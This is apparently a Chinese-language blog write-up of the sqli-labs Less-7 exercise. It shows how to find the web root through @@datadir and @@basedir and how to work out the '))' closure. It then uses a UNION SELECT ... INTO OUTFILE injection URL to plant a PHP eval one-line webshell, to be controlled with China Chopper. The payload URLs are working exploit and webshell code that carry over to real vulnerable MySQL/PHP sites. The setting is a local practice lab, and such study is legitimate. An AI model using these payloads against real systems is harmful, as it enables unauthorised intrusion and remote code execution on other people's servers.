導出文件GET字符型注入
0x01介紹
導出到文件就是可以將查詢結果導出到一個文件中,如常見的將一句話木馬導出到一個php文件中,sqlmap中也有導出一句話和一個文件上傳的頁面
常用的語句是: select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,當這里要獲取到網站的在系統中的具體路徑(絕對路徑)
這個要怎么獲取呢,根據系統和數據庫猜測,如winserver的iis默認路徑是c:/inetpub/wwwroot/,這好像說偏了,這是asp的,但知道也好
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs
0x02獲取路徑下面給一個很有可能獲取得到的方法,(因為less7不輸出信息,先從less獲取信息)
首先介紹兩個可以說是函數,還是變量的東西
@@datadir 讀取數據庫路徑
@@basedir MYSQL 獲取安裝路徑
http://127.0.0.1/sql1/Less-7/?id=1%27%20))union%20select%20null,@@datadir,@@basedir%23
可以看看源碼嗎 因為不看源碼我更本不知道他是加了兩個括號 我的天!!!
當然也可以自己測試閉合的條件,1' fail,1" fail,1') fail,1") fail,1')) OK!要問怎么測試是否閉合?方法很多,比方說下面的測試過程
那對於此處注入 沒有輸出 沒有報錯 信息回顯 我們可以干嘛吶???
可以寫入文件 別問我為什么知道 他上面謝了outfile 可是我們不知道他的絕對路徑 從何寫入
判斷是否有寫權限,可以判斷有寫權限
http://127.0.0.1/sql1/Less-7?id=1')) and (select count(*)from mysql.user)>0 --+ //如果返回正常則有讀寫權限
沒辦法了 這里只有從第一關來獲取了
http://127.0.0.1/sql1/Less-1/?id=-1%27%20union%20select%20null,@@datadir,@@basedir%20%23
好的 那我們知道了絕對路徑 那接下來 我們嘗試着寫入一句話
0x03愛之終極突破
寫入一句話
http://127.0.0.1/sql1/Less-7/?id=1%27))%20union%20select%20null,null,%27%3C?php%20@eval($_POST[qi]);?%3E%27%20into%20outfile%20%22C:\\phpStudy1\\PHPTutorial\\WWW\\zhong.php%22%20%23
然后菜刀連接
window系統的無法寫入解決方法
改成完全控制即可
學習之路 無浮躁 少就是多